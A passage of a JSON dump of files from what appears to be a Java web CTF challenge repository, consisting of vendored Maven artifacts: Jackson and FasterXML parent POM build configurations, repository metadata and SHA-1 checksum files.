 <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.8.1</version>\n          <configuration>\n            <source>${javac.src.version}</source>\n            <target>${javac.target.version}</target>\n            <encoding>UTF-8</encoding>\n            <maxmemory>512m</maxmemory>\n            <links>\n              <link>http://docs.oracle.com/javase/6/docs/api/</link>\n            </links>\n          </configuration>\n          <executions>\n            <execution>\n              <id>attach-javadocs</id>\n              <phase>verify</phase>\n              <goals>\n                <goal>jar</goal>\n              </goals>\n            </execution>\n          </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-site-plugin</artifactId>\n        <version>3.1</version>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <redirectTestOutputToFile>${surefire.redirectTestOutputToFile}</redirectTestOutputToFile>\n          <excludes>\n            <exclude>**/failing/*.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <!-- Inherited from oss-base. Generate PackageVersion.java.-->\n        <groupId>com.google.code.maven-replacer-plugin</groupId>\n        <artifactId>replacer</artifactId>\n        <executions>\n          <execution>\n            <id>process-packageVersion</id>\n            <phase>generate-sources</phase>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.8.1</version>\n          <configuration>\n              <aggregate>true</aggregate>\n              <source>1.6</source>\n              <encoding>UTF-8</encoding>\n              <maxmemory>1g</maxmemory>\n              <links>\n                  <!-- JDK, other Jackson pkgs -->\n                  <link>http://docs.oracle.com/javase/6/docs/api/</link>\n              </links>\n              <excludePackageNames>${javadoc.package.exclude}</excludePackageNames>\n              <bootclasspath>${sun.boot.class.path}</bootclasspath>\n              <doclet>com.google.doclava.Doclava</doclet>\n              <useStandardDocletOptions>false</useStandardDocletOptions>\n              <additionalJOption>-J-Xmx1024m</additionalJOption>\n              <docletArtifact>\n                  <groupId>com.google.doclava</groupId>\n                  <artifactId>doclava</artifactId>\n                  <version>1.0.3</version>\n              </docletArtifact>\n              <additionalparam>\n                  -hdf project.name \"${project.name} ${project.version}\"\n                  -d ${project.reporting.outputDirectory}/apidocs\n              </additionalparam>\n          </configuration>\n          <reportSets>\n              <reportSet>\n                  <id>default</id>\n                  <reports>\n                      <report>javadoc</report>\n                  </reports>\n              </reportSet>\n          </reportSets>\n      </plugin>\n    </plugins>\n  </reporting>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-core/2.5.3/jackson-core-2.5.3.pom.sha1",
    "content": "fa74028aee38dd2d8c441ade1cb426861eed2cd5"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-databind/2.5.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\njackson-databind-2.5.3.jar>central=\njackson-databind-2.5.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-databind/2.5.3/jackson-databind-2.5.3.jar.sha1",
    "content": "c37875ff66127d93e5f672708cb2dcc14c8232ab"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-databind/2.5.3/jackson-databind-2.5.3.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>com.fasterxml.jackson</groupId>\n    <artifactId>jackson-parent</artifactId>\n    <version>2.5.1</version>\n  </parent>\n\n  <groupId>com.fasterxml.jackson.core</groupId>\n  <artifactId>jackson-databind</artifactId>\n  <version>2.5.3</version>\n  <name>jackson-databind</name>\n  <packaging>bundle</packaging>\n  <description>General data-binding functionality for Jackson: works on core streaming API</description>\n  <url>http://github.com/FasterXML/jackson</url>\n\n  <scm>\n    <connection>scm:git:git@github.com:FasterXML/jackson-databind.git</connection>\n    <developerConnection>scm:git:git@github.com:FasterXML/jackson-databind.git</developerConnection>\n    <url>http://github.com/FasterXML/jackson-databind</url>\n    <tag>jackson-databind-2.5.3</tag>\n  </scm>\n\n  <properties>\n    <osgi.export>\ncom.fasterxml.jackson.databind,\ncom.fasterxml.jackson.databind.annotation,\ncom.fasterxml.jackson.databind.cfg,\ncom.fasterxml.jackson.databind.deser,\ncom.fasterxml.jackson.databind.deser.impl,\ncom.fasterxml.jackson.databind.deser.std,\ncom.fasterxml.jackson.databind.exc,\ncom.fasterxml.jackson.databind.ext,\ncom.fasterxml.jackson.databind.introspect,\ncom.fasterxml.jackson.databind.jsonschema,\ncom.fasterxml.jackson.databind.jsonFormatVisitors,\ncom.fasterxml.jackson.databind.jsontype,\ncom.fasterxml.jackson.databind.jsontype.impl,\ncom.fasterxml.jackson.databind.module,\ncom.fasterxml.jackson.databind.node,\ncom.fasterxml.jackson.databind.ser,\ncom.fasterxml.jackson.databind.ser.impl,\ncom.fasterxml.jackson.databind.ser.std,\ncom.fasterxml.jackson.databind.type,\ncom.fasterxml.jackson.databind.util\n    </osgi.export>\n    <osgi.import>\ncom.fasterxml.jackson.annotation,\ncom.fasterxml.jackson.core,\ncom.fasterxml.jackson.core.base,\ncom.fasterxml.jackson.core.format,\ncom.fasterxml.jackson.core.json,\ncom.fasterxml.jackson.core.io,\ncom.fasterxml.jackson.core.util,\ncom.fasterxml.jackson.core.type,\norg.xml.sax,org.w3c.dom, org.w3c.dom.bootstrap, org.w3c.dom.ls,\njavax.xml.datatype, javax.xml.namespace, javax.xml.parsers\n</osgi.import>\n\n    <!-- Generate PackageVersion.java into this directory. -->\n    <packageVersion.dir>com/fasterxml/jackson/databind/cfg</packageVersion.dir>\n    <packageVersion.package>com.fasterxml.jackson.databind.cfg</packageVersion.package>\n  </properties>\n\n  <dependencies>\n    <!-- Builds on core streaming API; also needs core annotations -->\n    <dependency>\n      <groupId>com.fasterxml.jackson.core</groupId>\n      <artifactId>jackson-annotations</artifactId>\n      <version>2.5.0</version>\n    </dependency>\n    <dependency>\n      <groupId>com.fasterxml.jackson.core</groupId>\n      <artifactId>jackson-core</artifactId>\n      <version>2.5.3</version>\n    </dependency>\n\n    <!-- and for testing we need a few libraries\n         libs for which we use reflection for code, but direct dep for testing\n      -->\n    <dependency>\n      <groupId>cglib</groupId>\n      <artifactId>cglib</artifactId>\n      <version>3.1</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.groovy</groupId>\n      <artifactId>groovy</artifactId>\n      <version>2.4.0</version>\n      <scope>test</scope>\n    </dependency>\n    <!-- For testing TestNoClassDefFoundDeserializer -->\n    <dependency>\n      <groupId>javax.measure</groupId>\n      <artifactId>jsr-275</artifactId>\n      <version>0.9.2</version>\n      <scope>test</scope>\n    </dependency>\n\n    <dependency> <!--  from core we just test for repackaged cglib, not hibernate proper -->\n      <groupId>org.hibernate</groupId>\n      <artifactId>hibernate-cglib-repack</artifactId>\n      <version>2.1_3</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n     <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <version>${version.plugin.surefire}</version>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <classpathDependencyExcludes>\n            <exclude>javax.measure:jsr-275</exclude>\n          </classpathDependencyExcludes>\n          <excludes>\n            <exclude>com/fasterxml/jackson/failing/*.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>${version.plugin.javadoc}</version>\n        <configuration>\n          <links>\n            <link>http://docs.oracle.com/javase/6/docs/api/</link>\n            <link>http://fasterxml.github.com/jackson-annotations/javadoc/2.5/</link>\n            <link>http://fasterxml.github.com/jackson-core/javadoc/2.5/</link>\n          </links>\n        </configuration>\n      </plugin>\n\n      <!-- May want to configure debug info -->\n      <plugin>\n        <!-- Inherited from oss-base. Generate PackageVersion.java.-->\n        <groupId>com.google.code.maven-replacer-plugin</groupId>\n        <artifactId>replacer</artifactId>\n        <executions>\n          <execution>\n            <id>process-packageVersion</id>\n            <phase>process-sources</phase>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>cobertura-maven-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>release</id>\n      <properties>\n        <maven.test.skip>true</maven.test.skip>\n        <skipTests>true</skipTests>\n      </properties>\n    </profile>\n  </profiles>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-databind/2.5.3/jackson-databind-2.5.3.pom.sha1",
    "content": "6b419a3d1fb12e7692b0b2b5f1883eb5a335db97"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/jackson-parent/2.5.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:27 CST 2018\njackson-parent-2.5.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/jackson-parent/2.5.1/jackson-parent-2.5.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>com.fasterxml</groupId>\n    <artifactId>oss-parent</artifactId>\n    <version>19</version>\n  </parent>\n\n  <groupId>com.fasterxml.jackson</groupId>\n  <artifactId>jackson-parent</artifactId>\n  <version>2.5.1</version>\n  <packaging>pom</packaging>\n\n  <name>Jackson parent poms</name>\n  <description>Parent pom for all Jackson components</description>\n  <url>http://github.com/FasterXML/</url>\n  <inceptionYear>2014</inceptionYear>\n  <organization>\n    <name>FasterXML</name>\n    <url>http://fasterxml.com/</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <developers>\n    <developer>\n      <id>christophercurrie</id>\n      <name>Christopher Currie</name>\n      <email />\n    </developer>\n    <developer>\n      <id>prb</id>\n      <name>Paul Brown</name>\n      <email>prb@fasterxml.com</email>\n    </developer>\n    <developer>\n      <id>cowtowncoder</id>\n      <name>Tatu Saloranta</name>\n      <email>tatu@fasterxml.com</email>\n    </developer>\n  </developers>\n  <contributors>\n    <contributor>\n      <name>Simone Tripodi</name>\n      <email>simonetripodi@apache.org</email>\n    </contributor>\n  </contributors>\n\n  <scm>\n    <connection>scm:git:git@github.com:FasterXML/jackson-parent.git</connection>\n    <developerConnection>scm:git:git@github.com:FasterXML/jackson-parent.git</developerConnection>\n    <url>http://github.com/FasterXML/jackson-parent</url>\n    <tag>2.5.1b</tag>\n  </scm>\n\n  <properties>\n    <version.jackson.annotations>2.5.0</version.jackson.annotations>\n\n    <!-- 10-Jan-2013, tatu: Jackson 2.4 and above will be Java 6\n        (earlier versions Java 5)\n      -->\n    <javac.src.version>1.6</javac.src.version>\n    <javac.target.version>1.6</javac.target.version>\n    <!-- With 2.4+, include all debug info for the main executable; need to figure\n         out a way to build \"non-debug\" variants as well\n      -->\n    <javac.debuglevel>lines,source,vars</javac.debuglevel>\n\n    <!-- Versions for other dependencies -->\n    <version.junit>4.11</version.junit>\n\n    <!--\n     | For automatically generating PackageVersion.java. Your child pom.xml must define\n     | packageVersion.dir and packageVersion.package, and must set the phase of the\n     | process-packageVersion execution of maven-replacer-plugin to 'generate-sources'.\n    -->\n    <packageVersion.template.input>${basedir}/src/main/java/${packageVersion.dir}/PackageVersion.java.in</packageVersion.template.input>\n    <packageVersion.template.output>${generatedSourcesDir}/${packageVersion.dir}/PackageVersion.java</packageVersion.template.output>\n\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>${version.junit}</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n\n        <!-- Jackson has stricter enforced requirements than parent pom -->\n        <plugin>\n         <groupId>org.apache.maven.plugins</groupId>\n         <artifactId>maven-enforcer-plugin</artifactId>\n         <version>1.3.1</version>\n         <executions>\n          <execution>\n            <id>enforce-java</id>\n            <phase>validate</phase>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <configuration>\n              <rules>\n                <requireJavaVersion>\n                  <version>[1.6,)</version>\n                  <message>[ERROR] The currently supported version of Java is 1.6 or higher</message>\n                </requireJavaVersion>\n                <requireMavenVersion>\n                  <version>[3.0,)</version>\n                  <message>[ERROR] The currently supported version of Maven is 3.0 or higher</message>\n                </requireMavenVersion>\n                <requirePluginVersions>\n                  <banLatest>true</banLatest>\n                  <banRelease>true</banRelease>\n                  <banSnapshots>true</banSnapshots>\n                  <phases>clean,deploy,site</phases>\n                  <message>[ERROR] Best Practice is to always define plugin versions!</message>\n                </requirePluginVersions>\n              </rules>\n            </configuration>\n          </execution>\n        </executions>\n        </plugin>\n        <!-- use of replacer plug-in specific to Jackson -->\n        <plugin>\n          <groupId>com.google.code.maven-replacer-plugin</groupId>\n          <artifactId>replacer</artifactId>\n          <version>${version.plugin.replacer}</version>\n          <executions>\n            <execution>\n              <id>process-packageVersion</id>\n              <goals>\n                <goal>replace</goal>\n              </goals>\n              <!--\n               | We explicitly omit 'phase' here so child poms can opt in to\n               | generating their PackageVersion.java file.\n               |\n               | If your child pom wants a PackageVersion.java file, define\n               | the 'packageVersion.dir' and 'packageVersion.package' properties\n               | and include the commented-out section in your child pom's plugin\n               | for this execution ID.\n               <phase>generate-sources</phase>\n              -->\n            </execution>\n          </executions>\n          <configuration>\n            <file>${packageVersion.template.input}</file>\n            <outputFile>${packageVersion.template.output}</outputFile>\n            <replacements>\n              <replacement>\n                <token>@package@</token>\n                <value>${packageVersion.package}</value>\n              </replacement>\n              <replacement>\n                <token>@projectversion@</token>\n                <value>${project.version}</value>\n              </replacement>\n              <replacement>\n                <token>@projectgroupid@</token>\n                <value>${project.groupId}</value>\n              </replacement>\n              <replacement>\n                <token>@projectartifactid@</token>\n                <value>${project.artifactId}</value>\n              </replacement>\n            </replacements>\n          </configuration>\n        </plugin>\n        <plugin>\n          <!-- Work around Eclipse incompatibility (http://code.google.com/p/maven-replacer-plugin/issues/detail?id=66) -->\n          <groupId>org.eclipse.m2e</groupId>\n          <artifactId>lifecycle-mapping</artifactId>\n          <version>1.0.0</version>\n          <configuration>\n            <lifecycleMappingMetadata>\n              <pluginExecutions>\n                <pluginExecution>\n                  <pluginExecutionFilter>\n                    <groupId>com.google.code.maven-replacer-plugin</groupId>\n                    <artifactId>replacer</artifactId>\n                    <versionRange>[${version.plugin.replacer},)</versionRange>\n                    <goals>\n                      <goal>replace</goal>\n                    </goals>\n                  </pluginExecutionFilter>\n                  <action>\n                    <execute>\n                      <runOnIncremental>false</runOnIncremental>\n                    </execute>\n                  </action>\n                </pluginExecution>\n              </pluginExecutions>\n            </lifecycleMappingMetadata>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n\n  </build>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/jackson-parent/2.5.1/jackson-parent-2.5.1.pom.sha1",
    "content": "0cb82b6ad71b83a04d83515ce6f679c02529f899"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/oss-parent/19/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:27 CST 2018\noss-parent-19.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/oss-parent/19/oss-parent-19.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n  <modelVersion>4.0.0</modelVersion>\n\n  <groupId>com.fasterxml</groupId>\n  <artifactId>oss-parent</artifactId>\n  <version>19</version>\n  <packaging>pom</packaging>\n\n  <name>FasterXML.com parent pom</name>\n  <description>FasterXML.com parent pom</description>\n  <url>http://github.com/FasterXML/</url>\n  <inceptionYear>2012</inceptionYear>\n  <organization>\n    <name>FasterXML</name>\n    <url>http://fasterxml.com/</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <!-- to fill in mostly by children, but stupid Sonatype REQUIRES\n       one developer already here\n    -->\n  <developers>\n    <developer>\n      <id>cowtowncoder</id>\n      <name>Tatu Saloranta</name>\n      <email>tatu@fasterxml.com</email>\n    </developer>\n  </developers>\n\n  <scm>\n    <connection>scm:git:git@github.com:FasterXML/oss-parent.git</connection>\n    <developerConnection>scm:git:git@github.com:FasterXML/oss-parent.git</developerConnection>\n    <url>http://github.com/FasterXML/oss-parent</url>\n    <tag>oss-parent-19</tag>\n  </scm>\n  <issueManagement>\n    <system>GitHub Issue Management</system>\n    <url>https://github.com/FasterXML/${project.artifactId}/issues</url>\n  </issueManagement>\n\n  <distributionManagement>\n    <snapshotRepository>\n      <id>sonatype-nexus-snapshots</id>\n      <name>Sonatype Nexus Snapshots</name>\n      <url>https://oss.sonatype.org/content/repositories/snapshots</url>\n    </snapshotRepository>\n\n    <repository>\n      <id>sonatype-nexus-staging</id>\n      <name>Nexus Release Repository</name>\n      <url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n    </repository>\n  </distributionManagement>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.build.resourceEncoding>UTF-8</project.build.resourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\n    <!-- Use 1.6 as default baseline -->\n    <javac.src.version>1.6</javac.src.version>\n    <javac.target.version>1.6</javac.target.version>\n\n    <!-- By default, include all debug info; \"vars\" and \"lines\" both add 10-15% in size,\n         \"source\" very little\n     -->\n    <javac.debuglevel>lines,source,vars</javac.debuglevel>\n    <maven.build.timestamp.format>yyyy-MM-dd HH:mm:ssZ</maven.build.timestamp.format>\n    <!--\n     | Configuration properties for the OSGi maven-bundle-plugin\n    -->\n    <osgi.export>${project.groupId}.*;version=${project.version}</osgi.export>\n    <osgi.import>*</osgi.import>\n    <osgi.dynamicImport />\n    <osgi.private />\n    <osgi.requiredExecutionEnvironment />\n    <osgi.versionpolicy>${range;[===,=+);${@}}</osgi.versionpolicy>\n\n    <!--\n     | shared build/report plugins version\n    -->\n    <!-- 03-Sep-2014: updated from 2.3.7 -->\n    <version.plugin.bundle>2.5.3</version.plugin.bundle>\n    <version.plugin.jar>2.5</version.plugin.jar>\n    <version.plugin.javadoc>2.8.1</version.plugin.javadoc>\n    <!-- 2.4.2 had issues in releasing non-snapshot versions -->\n    <version.plugin.release>2.5.1</version.plugin.release>\n    <version.plugin.replacer>1.5.2</version.plugin.replacer>\n    <version.plugin.surefire>2.17</version.plugin.surefire>\n\n    <javadoc.maxmemory>1g</javadoc.maxmemory>\n\n    <generatedSourcesDir>${project.build.directory}/generated-sources</generatedSourcesDir>\n\n  </properties>\n\n  <repositories>\n    <repository>\n      <id>sonatype-nexus-snapshots</id>\n      <name>Sonatype Nexus Snapshots</name>\n      <url>https://oss.sonatype.org/content/repositories/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n      <snapshots>\n        <enabled>true</enabled>\n      </snapshots>\n    </repository>\n  </repositories>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.6</version>\n        </plugin>\n\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.3.1</version>\n        </plugin>\n\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.7</version>\n        </plugin>\n\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>3.1</version>\n        </plugin>\n\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>cobertura-maven-plugin</artifactId>\n          <version>2.6</version>\n        </plugin>\n\n        <plugin>\n          <groupId>org.apache.felix</groupId>\n          <artifactId>maven-bundle-plugin</artifactId>\n          <version>${version.plugin.bundle}</version>\n          <configuration>\n            <instructions>\n              <!--\n               | stops the \"uses\" clauses being added to \"Export-Package\" manifest entry\n              -->\n              <_nouses>true</_nouses>\n              <!--\n               | Stop the JAVA_1_n_HOME variables from being treated as headers by Bnd\n              -->\n              <_removeheaders>Include-Resource,JAVA_1_3_HOME,JAVA_1_4_HOME,JAVA_1_5_HOME,JAVA_1_6_HOME,JAVA_1_7_HOME</_removeheaders>\n              <_versionpolicy>${osgi.versionpolicy}</_versionpolicy>\n              <Bundle-Name>${project.name}</Bundle-Name>\n              <Bundle-SymbolicName>${project.groupId}.${project.artifactId}</Bundle-SymbolicName>\n              <Bundle-Description>${project.description}</Bundle-Description>\n              <Export-Package>${osgi.export}</Export-Package>\n              <Private-Package>${osgi.private}</Private-Package>\n              <Import-Package>${osgi.import}</Import-Package>\n              <DynamicImport-Package>${osgi.dynamicImport}</DynamicImport-Package>\n              <Bundle-DocURL>${project.url}</Bundle-DocURL>\n              <Bundle-RequiredExecutionEnvironment>${osgi.requiredExecutionEnvironment}</Bundle-RequiredExecutionEnvironment>\n\n              <Implementation-Build-Date>${maven.build.timestamp}</Implementation-Build-Date>\n              <X-Compile-Source-JDK>${javac.src.version}</X-Compile-Source-JDK>\n              <X-Compile-Target-JDK>${javac.target.version}</X-Compile-Target-JDK>\n\n              <Implementation-Title>${project.name}</Implementation-Title>\n              <Implementation-Version>${project.version}</Implementation-Version>\n              <Implementation-Vendor-Id>${project.groupId}</Implementation-Vendor-Id>\n              <Implementation-Vendor>${project.organization.name}</Implementation-Vendor>\n\n              <Specification-Title>${project.name}</Specification-Title>\n              <Specification-Version>${project.version}</Specification-Version>\n              <Specification-Vendor>${project.organization.name}</Specification-Vendor>\n            </instructions>\n          </configuration>\n        </plugin>\n\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>${version.plugin.release}</version>\n          <configuration>\n            <mavenExecutorId>forked-path</mavenExecutorId>\n            <useReleaseProfile>false</useReleaseProfile>\n            <arguments>-Prelease</arguments>\n          </configuration>\n        </plugin>\n\n        <plugin>\n          <groupId>org.sonatype.plugins</groupId>\n          <artifactId>nexus-maven-plugin</artifactId>\n          <version>2.1</version>\n          <configuration>\n            <nexusUrl>https://oss.sonatype.org/</nexusUrl>\n            <serverAuthId>sonatype-nexus-staging</serverAuthId>\n          </configuration>\n        </plugin>\n\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>build-helper-maven-plugin</artifactId>\n          <version>1.7</version>\n        </plugin>\n\n      </plugins>\n    </pluginManagement>\n\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-enforcer-plugin</artifactId>\n        <version>1.3.1</version>\n        <executions>\n          <execution>\n            <id>enforce-java</id>\n            <phase>validate</phase>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <configuration>\n              <rules>\n                <requireJavaVersion>\n                  <version>[1.5,)</version>\n                  <message>[ERROR] The currently supported version of Java is 1.5 or higher</message>\n                </requireJavaVersion>\n                <requireMavenVersion>\n                  <version>[3.0,)</version>\n                  <message>[ERROR] The currently supported version of Maven is 3.0 or higher</message>\n                </requireMavenVersion>\n                <requirePluginVersions>\n                  <banLatest>true</banLatest>\n                  <banRelease>true</banRelease>\n                  <banSnapshots>true</banSnapshots>\n                  <phases>clean,deploy,site</phases>\n                  <message>[ERROR] Best Practice is to always define plugin versions!</message>\n                </requirePluginVersions>\n              </rules>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <version>3.2</version>\n        <configuration>\n          <source>${javac.src.version}</source>\n          <target>${javac.target.version}</target>\n          <showDeprecation>true</showDeprecation>\n          <showWarnings>true</showWarnings>\n          <optimize>true</optimize>\n          <!-- 16-Apr-2013, tatu: As per Nick W's suggestions, let's\n              use these to reduce jar size\n            -->\n          <debug>true</debug>\n          <debuglevel>${javac.debuglevel}</debuglevel>\n        </configuration>\n      </plugin>\n\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>build-helper-maven-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>add-generated-sources</id>\n            <phase>generate-sources</phase>\n            <goals>\n              <goal>add-source</goal>\n            </goals>\n            <configuration>\n              <sources>\n                <source>${generatedSourcesDir}</source>\n              </sources>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <version>${version.plugin.surefire}</version>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.felix</groupId>\n        <artifactId>maven-bundle-plugin</artifactId>\n        <version>${version.plugin.bundle}</version>\n        <extensions>true</extensions>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <version>${version.plugin.jar}</version>\n      </plugin>\n      <plugin>\n        <artifactId>maven-site-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>attach-descriptor</id>\n            <goals>\n              <goal>attach-descriptor</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-scm-plugin</artifactId>\n        <version>1.9.1</version>\n        <dependencies>\n          <dependency>\n            <groupId>org.apache.maven.scm</groupId>\n            <artifactId>maven-scm-provider-gitexe</artifactId>\n            <version>1.9.1</version>\n          </dependency>\n        </dependencies>\n      </plugin>\n    </plugins>\n\n    <extensions>\n      <extension>\n        <groupId>org.apache.maven.scm</groupId>\n        <artifactId>maven-scm-provider-gitexe</artifactId>\n        <version>1.9.1</version>\n      </extension>\n\n      <extension>\n        <groupId>org.apache.maven.scm</groupId>\n        <artifactId>maven-scm-manager-plexus</artifactId>\n        <version>1.9.1</version>\n      </extension>\n\n      <!-- WTH is this? -->\n      <extension>\n        <groupId>org.kathrynhuxtable.maven.wagon</groupId>\n        <artifactId>wagon-gitsite</artifactId>\n        <version>0.3.1</version>\n      </extension>\n    </extensions>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>${version.plugin.javadoc}</version>\n        <configuration>\n          <bootclasspath>${sun.boot.class.path}</bootclasspath>\n          <doclet>com.google.doclava.Doclava</doclet>\n          <useStandardDocletOptions>false</useStandardDocletOptions>\n          <additionalJOption>-J-Xmx1024m</additionalJOption>\n          <maxmemory>${javadoc.maxmemory}</maxmemory>\n          <links>\n            <link>http://docs.oracle.com/javase/6/docs/api/</link>\n          </links>\n          <docletArtifact>\n            <groupId>com.google.doclava</groupId>\n            <artifactId>doclava</artifactId>\n            <version>1.0.3</version>\n          </docletArtifact>\n          <additionalparam>\n            -hdf project.name \"${project.name}\"\n            -d ${project.reporting.outputDirectory}/apidocs\n          </additionalparam>\n        </configuration>\n        <reportSets>\n          <reportSet>\n            <id>default</id>\n            <reports>\n              <report>javadoc</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.5</version>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jxr-plugin</artifactId>\n        <version>2.3</version>\n      </plugin>\n\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>jdepend-maven-plugin</artifactId>\n        <version>2.0-beta-2</version>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        